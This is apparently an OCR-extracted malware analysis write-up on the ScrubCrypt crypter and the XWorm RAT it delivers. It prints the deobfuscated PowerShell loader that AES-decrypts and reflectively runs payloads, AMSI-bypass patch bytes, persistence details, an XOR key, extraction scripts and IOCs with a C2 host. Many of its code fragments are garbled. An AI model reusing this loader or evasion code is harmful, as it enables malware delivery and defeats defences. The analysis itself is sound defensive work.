8UUFsXOO0LREYb1VoB/1i69INdTfKkQTAZg2mKOYHIK1X70qSkNgnUzDDOCwWQCclER8qp8cg4nrwgFUXjbSrjw2i3U
ENUCN4P2BmVf98dQ8DZqsfm6YRLSA2jVqwoXcTMZpoJxbOIB7AELO04Z00Tvygm+DgSMKuh6zymyHogvasNC1X
n20WXFhhBzP1Rt+RyctdbR/HzUybAGd2dt80j0PZ9phnqp8C20h4he28VnR7ft8GsdONavfHVbNjnuI2GJuPQ
2ygjhY/Nrc8fM1J4ML/2HYyGVWWRc/HCTOCeG4YF6rHMQ/84d8n45MIBKNJACRLeTC5VX1UKCCSCASK1KVIF6h
pTud+kVraz5LTaKX59vHWEDepO®/IUSh3el1I3WTghUIhNI5SwHpQKwdw3cWtJa3zThlgu4S5sr7235ZNacelLhzx
t fUVETtwCAF1s4SyAzC5jacUPKdiebjK7mC5awTG30qCKKpkR21fqOcj3TZtwgZr KUKMOm2k4miH88keeQYST
CziQeLtXtRsHAUH4TWO/nnKB1P+H8QEF+GjIJzfOyN7UvhWOSUPariX3RgsLSONIKwfROUGjTnaVeMtz78yxt
JIM1p/emkAfWDHSOpSSZ9ELW2t827Y]j19b80SHs/Le/seEsQSNHedqOmDlcoylpb8wAPVUFRUTIUL17BUN+YX0Q
54HL9qYcdpONgC+pi++B8+GWLJILOh1jHCcDJIbt JCLWKE3RADDSDwWinzKOr4zZhzZMLsanHsrnENwS@JOuBQsZgdn
/p5GSnTNbxE9w2103JishZvzn3dglde/C+Sd0Obgq2TivSaNKaqLpTdQ5c7mvHUhMHFgif7sfdONjckfkrBbHI
jPOYCSOkD68RzG2VFBdaN@8sBz5x0+JhUN3GRi0OKKPQwWhDDBYrGaNohAL3x013dmiaUgHNEje7efc6sTGjDgB
AXJAEN9GCE93prEv30zJIN1YaTOYQurSUa+/EE4RYRDONApPGU+EWFXO0THHpwdI7ugQZH17n+j8G6+CZWIYVtgU
gt fWoXzuwfw8rv/0fMRUY7hc4JHZI71/ivqw+RrWOR2P15DdFudsrj3XcaHznYwtNVuv61U+ubnpfiyB/I0E
vXVIpV7cd1lEFCCKxhXdTgAOILCyhe3gL6bupAgPEa3UCRIY6g2mBCVR88rORPQzzaw55tHMfoN p2jXFQ4ljo
x5y0V113ymSP+mqpoaBRhDQXOpIGRICIETBk9717yN5TDTi0+EtdD1/eqPh/9ggE+1jL3g0LYaAkzXq20fYsK
mhSfsg9bFIdgw7qgBxmgaGuorFgpJYgZNBsXCcORVOJIrtFX4pE5SCkhR63IG176NdXNw34ImDDdilY330Uwf6Ie
thbx2BfQYnFuYOgpXPuOméulEzDkk1DjYXhUNoVfDuu2T3cawb6/kCpheq9Xs65VtCntNtSROAGbLTKNOTUKG
iLcKnv5Say4IrOPWHBT18FXgPBDQnbFG1Mg437NfaSqGMOQkWMg5SseZeovu9wWenOwWIYxdz8eKNiCzqby7zV
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DpToP8QMe4qjs0439w+MSBxgrwARtviP9eyt6nvkn20GSkBXZ3D0oZa®yWOE+hgJs/zFmCzGCSQIeRotzojVS7
067FLhsbUc3gban56nLHUW55rPx2jx9kgl3Mwr fzHwqyojLDFP1BNa8VQALxQIyrhlsXLMopm2Z+30DJ+iQJI
gIdKNaphyeTRUmMTOe6iX09BIIovTMDawHGaJspYVE320XxWD5CHER/+eEz4m5Q00GTwml7HQKxb20eznwW4EFgd
fSDQP651Lzf8MEX1DNRdsx3k1l/aCqtryYaUTLZm4xw95gWjdMMWP59C2Wzf1f4213110j/d08KpYSstttZN31la
ptPBWLQPOOD3V5GTK3rEOURW4AOCSS51FprwAvs5C+xHWXFM0Z19D34I8AbwZMMuoAhKeahrdoNWgDGnFBexP
SdOTPfUlrz+62f7IGo/sOLKFycglfQEJcOm2pF1gPd0l1zpFSjwWbZ7bM+p4E/40DQ1/0pVTW2NCAg/ tAKDNgt
VQ0S1Wm85iK2yKd2hwJOT4IjqikKsajdy39pgEObJI4fSUsntQTksG3myJsBKNM+XNmd1xQg752KNAVYg5IBti
PD6oLdqdh+bz+p6jhWbuAN01T2+hxC7wcmYdcvBY7Ze7TgLYyVTfAp6Tokzyb9khxMSDj95N4Tzzif2gSE8BISC+
AAEk1azdCWOCWDAtFXPHIOFN1the90ig4uNumzbkn@OEr4V/DS/1vHzp31MG955HuUCcqOczLTV3gmcdLMNEGIITH
7JH2b1g/wugCktJOHb70StfGjbR5BAXbIX]jJ78F5E11kleMmp3Z+wE0GQOheDpxh00yi/yLSzxC9zswIVQRIr
JRr/Jepfk+nlhG1lXrLffKIWSXxwrsDI6JuFYJdqZz60miyTV7DkYaQijCMBMuK11/Z2q3g/UJZA90rmS3FbHXH2Q
5DVEKdo1rVTY8pxpjmfFK506HSRXYzZBWE39NZrd1IUd1vBdgzv3/qhhLCSimlOTf/1TzALY59U6Ag40=\jYXRN
kBfevVawe51nhF//1MRmF604gjx9sy5sgLea7Hw=\pzktdutoBPQPjVvRIDfvWkg==

Great, now the script is less obfuscated and we can see that there is a powershell script
embedded
I've cleaned the script and changed some of the variable names:
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powershell -w hidden -c #
set Copy_Psl1_binary=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
copy %Copy_Psl_binary% "%~0.exe" /y && cls
"%~0.exe" function f_remove_@($t){
$t.Replace('@', '"')
}

$v_GetCurrentProcess=f_remove_@ 'Get@C@urr@ent@P@roce@ss@"';
$v_ReadAllText=f_remove_@ 'Rea@dAl@lT@e@xt@';
$v_EntryPoint=f_remove_@ 'En@t@ry@Poin@t@';
$v_ChangeExtension=f_remove_@ 'Ch@ange@E@xte@nsi@on@';
$v_FromBase64String=f_remove_@ 'From@Bas@e64S@tri@ng@"';
$v_Load=f_remove_@ 'Lo@ad@';

$v_TransformFinalBlock=f_remove_@ 'Tr@a@n@sfor@m@F@in@al@B@lo@ck@';
$v_Split=f_remove_@ 'Sp@l@it@';

$v_Invoke=f_remove_@ 'In@vo@ke@';

$v_CreateDecryptor=f_remove_@ 'Cre@at@eD@ec@ry@pto@r@';

function f_aes_decrypt($enc_data, $b64_enc_key, $b64_enc_iv){
$v_aescryptor=[System.Security.Cryptography.Aes]::Create();
$v_aescryptor.Mode=[System.Security.Cryptography.CipherMode]: :CBC;
$v_aescryptor.Padding=[System.Security.Cryptography.PaddingMode]: :PKCS7;
$v_aescryptor.Key=[System.Convert]::$v_FromBase64String($b64_enc_key);
$v_aescryptor.IV=[System.Convert]::$v_FromBase64String($b64_enc_iv);
$v_aes_decryptor=$v_aescryptor.$v_CreateDecryptor();
$v_decrypted_data=$v_aes_decryptor.$v_TransformFinalBlock($enc_data, 0, $enc_da
ta.Length);
$v_aes_decryptor.Dispose();
$v_aescryptor.Dispose();
$v_decrypted_data; # return compressed data

function f_decompress_data($compressed_data){
$v_data_memstream=New-Object System.IO.MemoryStream(,$compressed_data);
$v_decompressed_data=New-0Object System.IO.MemoryStream;
$v_gzip_stream=New-Object System.IO.Compression.GZipStream($v_data_memstream,
[I0.Compression.CompressionMode]: :Decompress);
$v_gzip_stream.CopyTo($v_decompressed_data);
$v_gzip_stream.Dispose();
$v_data_memstream.Dispose();
$v_decompressed_data.Dispose();
$v_decompressed_data.ToArray(); # returns byte array of the payload

function f_invoke_payload($payload, $b64_enc_key){
[System.Reflection.Assembly]::$v_Load([byte[]]$payload).$v_EntryPoint.$v_Invo

ke($null, $b64_enc_key);

}

$batfile_data=
[System.IO.File]::$v_ReadAllText([System.IO.Path]::$v_ChangeExtension([System.Diagnos
tics.Process]::$v_GetCurrentProcess().MainModule.FileName,
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$null)).$v_Split([Environment]::NewLine); #splits the data in the initial bat file by
newline

$blob_data_chunk=$batfile_data[$batfile_data.Length-1].Substring(2); #takes the last
splitted data from the '2' index (meaning after '::')
$blob_data=[string[]]$blob_data_chunk.$v_Split('\'); #the blob data splitted by '\'
$payload2=f_decompress_data (f_aes_decrypt
([Convert]::$v_FromBase64String($blob_data[0])) $blob_data[2] $blob_data[3]);
$payloadl=f_decompress_data (f_aes_decrypt
([Convert]::$v_FromBase64String($blob_data[1])) $blob_data[2] $blob_data[3]);
f_invoke_payload $payloadl $null;

f_invoke_payload $payload2 $null;

What the script does?

The script takes the blob data I've mentioned that comes right after the :: comment in the
batch script.
It will split it by backslash and save the splitted data in a variable ($blob_data_chunk)
=[Systcm.IO.Filc]:: ([Systcm.IO.Path]:: cm.Diagnostics.
() .MainModule.FileName, )) . ([Environment] Line) ;

= [ .Length-1].Substring(2) ;

=[string[]] . ( ) §
The variable will be now an array with 4 elements:

e Encrypted data 1

e Encrypted data 2

o Base64 encoded AES256 encryption key
o Base64 encoded AES256 encryption IV

The script will pass each encrypted data with the encoded key and IV to decryption function
(f_aes_decrypt), the return value from the function will be gz archive which will then be
passed to a decompress function (f_decompress_data) which will return binary in a form of
byte array.
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function f aes decrypt(

.Length) ;

}

function f decompr

, [I0.Compre
Compre

And the last thing the script will do is to invoke and execute these binaries.

The next script can be used to retrieve the archives:

from Crypto.Cipher import AES
from base64 import b64decode

def aes_decrypt(data, key, iv):
decrypt_cipher = AES.new(key, AES.MODE_CBC, iv)
return decrypt_cipher.decrypt(data)

data_blob = clean_script.split('::")[-1].split("'\\")
enc_blob_1 = b64decode(data_blob[0])

enc_blob_2 = b64decode(data_blob[1])

key = b64decode(data_blob[2])

iv = b64decode(data_blob[3])

archive_1 = aes_decrypt(enc_blob_1, key, iv)
archive_2 = aes_decrypt(enc_blob_2, key, iv)

file_path = '/Users/igal/malwares/Scrub Crypt/archive'

fo = open('{0}{1}.9z'.format(file_path,1), 'wb').write(archive_1)
fo = open('{0}{1}.9z'.format(file_path,2), 'wb').write(archive_2)

Now we can go through the binaries and analyze each one of them; based on the script
execution flow, the first binary that will be executed is the one stored in archive2.

XsXllt.tmp

Static Information
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o Sha256:
05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1
VT Detection: 18/71 (Link)

1 8 \ @ 18 security vendors and no sandboxes flagged this file as malicious (& :l:

/7
-
05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1 14.50 KB 2022-12-24 19:07:16 UTC %
XsXlit.tmp Size 1 minute ago EXE

peexe assembly

Community Score v/

The binary is .NET based as we can inspect using DiE

v PE32

Operation system: Windows(93)[1386, 32-bit, Console]
| anguage: CF

Library: .NET(v4.0.30319)

I've opened the binary in DnSpy and found out it's obfuscated:

Breaking the deobfuscation

| will be going through now a way I've managed to deobfuscate the code and make it text
clear. First of all, we open up SAE(SimpleAssemblyExplorer) and navigate to the location
where the binary is located, right click on the binary and select “Deobfuscator”:
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https://www.virustotal.com/gui/file/05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1?nocache=1

; . . Processor Target
File Name Assembly Name Version Public Key Token Architecture  Runtime

XsXllt. tmp.exe XsXllt 0.0.0.0 MSIL 4.0
Assembler
Disassembler

| . l Deobfuscator I |

Strong Name
PE Verify

Then we simply click OK and waiting for SAE to deobfuscate for us the code:

Deobfuscator — X

| General Options | Additional Options

Default

Output Directory  C: ‘-,l_*sers-temo‘

Name Options
replacement call

Flow Options
( Max. Ref. 2 > | Direction TopDown )

- -

Loop Count |2 =

=== Started at 12/24/2022 9:20:06 PM ===

Loading : C:\Users D <Xt tmp.exe
Deobfuscating: C:\Users_)(s)(llt.trnp.exe

Now we can open up the binary and find out that it’s a bit more clearer then previously:

But this is not enough, we can see that there is a repetitive method being used by the
program c000001.m0eeee1 , we can use De4Dot and deobfuscate the code even more, one
thing that we need for it is the method token (which can be retrieved by clicking the method
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and looking on the comment above it):

stringBuilder

( C pO .
stringBuilder.

stringBuilder.

Now that we have the token we can use the next command to deobfuscate the code:
deddot.exe <SAE_deobfuscated_binary> --strtyp delegate --strtok 06000001

After the deobfuscation process was successed, a “clean” binary will be created in the binary
folder, we can open it in DnSpy and see how the magic happend and work with a clear text
binary:

Evasion Techniques

This binary does 2 main operations:

AMSI bypass - The dev isn’t trying to be too much creative and copycats rasta-mouse
AmsiBypass C# code which can be found on his github repo
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https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs

[1{ B4, 87, @, 7, 128
public static void Execute()
{

LoadLibrary("amsi.dl1");

GetProcAddress(lib, "AmsiScanBuffer");

= GetPatch;

_ = YirtualProtect(asb, (UIntPtr)patch.Length, @x4@, out uint oldProtect);

Marshal.Copy(patch, @&, asb, patch.Length);

_ = VirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out uint

= byte[] GetPatch

if (IsB4Bit)
{
return new bytel[]l { @8xB8, @x57, @x00, 0x07, @x808, OxC3 };

return new bytel[l { @xB8, @x57, 0x@Q, @x@7, @x808, oxC2, @x18, ex0e };

¢ bool Isg4Bit

return IntPtr.5ize == B;




ETW unhooking - The dev adding a layer of protection by unhooking EtwEventWrite
(Event Tracing for Windows) which will disable the logging for Assembly. Load calls, this
topic is explained in depth by XPN.

XPN shares a POC code for the unhooking on his github repo

After the execution of this binary, the second binary will be executed which is stored in
Archive1 (the execution of this binary won’t be logged in the event tracer as the unhook in
the previous binary occured).

JuCdip.tmp

Static Information

» Sha256:

ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a
e VT Detection: 23/70 (Link)

23 ) (1) 23 security vendars and na sandboxes flagged this file as malicious v ziz
/17

Mt
ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a 2750 KB 2022-12-24 21:02:02 UTC DO
JuCdip.tmp Size 1 minute ago EXE

peexe  spreader assembly

X Community Score

The binary is .NET based as we can inspect using DIE
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https://blog.xpnsec.com/hiding-your-dotnet-etw/
https://gist.github.com/xpn/6456bd5d3e46bea6a0ac4ecbae98278f
https://www.virustotal.com/gui/file/ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a?nocache=1

v PE32
Operation system: Windows(93)[1386, 32-bit, Console]
Language: C&

Library: .NET(v4.0.30319)

I’'ve opened up the binary in DnSpy and found out it's obfuscated (for the sake of not

making this blog too much long, i will skip the deobfuscation process of this binary as
it’s the same we did with the previous one)

The clear code:

Process currentPro

text = c

entryPoint.

entryPoint.

Persistence & Execution

Now that we have the clean code, we can go thorugh what the binary actually does, firstly
thing that I've noticed (that eventually led me to finding the ScrubCrypt origin) is the name of
the binary SCRUBCRYPT
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4 (J SCRUBCRYPT (0.(
|

0 0 O O 0P O O O

After that I've started to searching for it’s origin but this will be explained later.
The binary does two main things:

Persistence: Once the program executed it will create a powershell task to delete the
binary file from the victim’s computer once the execution of the program is done.

hen the program creates a Mutex (iJoMzLdJpA, if the mutex already taken it will terminate
itself)

The program will then lookup in the registry and in the startup folder whether or not a
persistence for the binary was laready made.
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If the program couldn’t find any persistence related to the binary it will create its own
persistence by creating two files in the appdata folder one file is a .bat file with the content
of the initial batch file and second file which is a .vbs file that will execute the .bat file; a
registry key will be created under HKCU\Software\Microsoft\Windows\CurrentVersion\Run
which will execute the .vbs file once the system is rebooted, the mutex then will be released
and the program will execute itself again.

Execution: After the program was restarted and confirmed its own persistence it will
execute the final payload which is stored encrypted in the binary resources:

LlenuJCRIA™));

d MEmMOory ST Oryst
1 manifestResourceStream = executing
esourceStream. Cop
esourceStream. Dispo
memorysStream.

The encrypted data is simply Xor’ed with a 32 byte long key (in this case:
aZAZGrvolgbxdyHvNzxAcxXRlcnuJCRId); After the xor operation the program will decompress
the payload out of the xor’ed archive.
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Then

I've created a small script that will extract the resource from the binary, xor it and will save
the final payload archive:

import dnfile
from binascii import hexlify

FILEPATH = '/Users/igal/malwares/Scrub Crypt/4 - scrubcrypt binary.bin'
XOR_KEY = 'aZAZGrV0lgDxdyHvNzxAcXRlcnuJCRId'

def xor_helper(to_xor, key):
key_len len(key)
decoded [1]
for 1 in range(0,len(to_xor)):
decoded.append(to_xor[i] N key[i % key_len])
return bytes(decoded)

pe = dnfile.dnPE(FILEPATH)

for rsrc in pe.net.resources:
rsrc_data = xor_helper(rsrc.data, XOR_KEY.encode())
file_path = '/Users/igal/malwares/Scrub Crypt/final_payload'
fo = open('{0}.gz'.format(file_path), 'wb').write(rsrc_data)
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The Final Payload

The purpose of the blog is mainly to cover the crypter but because the final payload being
delivered by the crypter is pretty unknown we will cover it in few sentences.

Static Information

» Sha256: 814187405811f7d0e9593ae 1ddf0a43ccbd9e8a37bee7688178487eeef3860c6
e VT Detection: 41/71 (Link)

41 (1) 41 security vendors and no sandboxes flagged this file as malicious Oy :l:z

f

814187405811f7d0e9593ae1ddf0ad3cchd%e8a37hee 7688178487 eeef3860cE 41.00 KB 2022-12-25 15:4913 UTC %
XWormClient.exe Size amoment ago EXE

peexe spreader assembly

X Community Score

Opening the binary in DnSpy we can see that the binary name is xwormclient

4 [ XWormClient (1.0.0.0)
|
B PE
P o0 Type References
P o0 References
B {}
P} My

By quick analyzing it, the malware is xworm RAT which is selled on underground forums for a
price tag of 100$
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https://www.virustotal.com/gui/file/814187405811f7d0e9593ae1ddf0a43ccbd9e8a37bee7688178487eeef3860c6?nocache=1

EvilCoder

EvilCoder

XWorm V2.2 Purchase x

Product sold 22 times 5 (9 reviews 1 + Stock e

® | XxWorm v2.2 | Subtotal $100.00

1% Builder :

| Schtasks - Startup - Registry |

Buy N
| AntiAnalysis - USB Spread - Icon - Assembly | Ly Now
| Ilcon Pack |

% Connection : 9 Apply a Coupon

| Stable Connection - Encrypted Connection |

¢ Tools :

| lcon Changer - Multi Binder [Icon - Assembly] |
| Fud Downloader [HTA-VBS-JS-WSF] - XHVNC - BlockClients |

7% Features :

Infarmation

Monitor [Mouse - Keyboard - AutoSave]

Run File [Disk - Link - Memory - Script - RunPE]
WebCam [AutoSave]

Microphaone

System Sound

Open Url [Visible - Invisible]

TCP Connections

ActiveWindows

Process Manager

Clipboard Manager

Shell

Installed Programs

DDos Attack

VB.Net Compiler

Location Manager [GPS - IP]

File Manager

Client [Restart - Close - Uninstall - Update - Block - Note]

The malware is created by the EvilCoder Project and their post thread can be found in
Cracked.io forum:

X XWORM V2.2 | POWERFUL WINDOWS RAT WITH HVNC, RANSOMEWARE & MORE
4 by XCoderTools - 13 September, 2022 - 10:39 PM

XCoderTools embe ( fied i by XCoderTools. Edited 1 time in EED 8

| XWorm V2.2 |

15PM CPU14% RAM 20% = O x
[Country] [ID] [Username] [Operating System] [Version] ([Date]  [USB?] [UAC?
7 127.0.041 Localtiost  42DFB42ACES?| [ Information ] s10Pro64bit XWorm V2.2 21/04/2022 False  False
[ Monitor ]
[ Run File]
[WebCam ]
[ Microphone ]
[ System Sound |
[Open Url ]
[ Options ]
[Shell ]
[ File Manager ]
[ TCP Connections |
[ ActiveWindows ]

[ Process Manager |

Member

_
& 7 |

THREADS:

JOINED: SEP 2022 | Clipboard Manager]
VOUCHES: [ Password Recovery |
[ Installed Programs |
[ DDos Attack ]

[ VE.Net Compiler ]

[ Location Manager ]

CREDITS;

[ Pastime ]
[Extral]
[Extra2]
[Worm]
[ Open Client Folder]

»*OOCOCONFODGRTBONDE eI~

31/33



ScrubCrypt Origin

Now that we’ve covered the campaign, we can talk about the origin of the crypter.

The crypter is being sold on Hackforums (as mentioned on the beginning of the blog) for
about 40$ (for 1 month sub)

When | was investigating ScrubCrypt | was suspecting that the crypter is a simple copycat
of a well known Batchfuscator crypter Jlaive (Github).

After reading some customers comments on the Hackforums post I've stumbled upon this
comment:

12-12-2022, 01:43 AM (This

What is the benefit of buying it out of your sellix?

1 month ScrubCrypt = 40$
1 month Jlaive = 30$

3 month ScrubCrypt = 80$
3 month Jlaive = 75$

I'm just trying to understand why not just reach out to the original dev https://chash.mysellix.io/ and buying it
from him directly and cheaper...

Threads:

B Rating:

Popularity:

Bytes: B 1,495.54
Game XP: 1,012

Since you're not the dev the only modification that was done is the form name that's it

12-12-2022, 03:51 AM (This p t modified: 12-12 04 tg «g

Wrote: (12-12-2022, 01:43 AM)

What is the benefit of buying it out of your sellix?
chash °

PowerShi” AR We have been in the process of shifting all sales to ScrubCrypt and taking Jlaive off sale.

Posts:

Threads:
B Rating: Scrub
Popularity:

Bytes: Effortlessly evade antivirus detection
Game XP:

Conclusion

In this blogpost we went over the execution pattern of the recent rebranded Jlaive crypter,
which eventually executes a RAT type malware from the Xworm family.

ScrubCrypt was created for marketing reasons and keeping the name of the “Jlaive” crypter
alive.
Hopefully this blog tought you all of you some new tricks :)
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https://github.com/ch9sh/Jlaive-Crypter

I0C’s:

e Samples:
o LEPRFQAV04,pdf.001 -
28d6b3140a1935¢cd939e8a07266c43c0482e1fea80c65b7a49cf54356dch58bc
o LEPRFQAV04,pdf.bat -
04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578
o amsi & etw.bin -
05eac401a2a9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1
o scrubcrypt binary.bin -
ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a
o xworm.bin -
814187405811f7d0e9593ae1ddf0a43ccbd9e8a37bee7688178487eeef3860c6
e C2:
hurricane.ydns.eu:2311

References:
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https://bazaar.abuse.ch/sample/28d6b3140a1935cd939e8a07266c43c0482e1fea80c65b7a49cf54356dcb58bc/
https://bazaar.abuse.ch/sample/04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578
https://bazaar.abuse.ch/sample/05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1/
https://bazaar.abuse.ch/sample/ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a/
https://bazaar.abuse.ch/sample/814187405811f7d0e9593ae1ddf0a43ccbd9e8a37bee7688178487eeef3860c6/

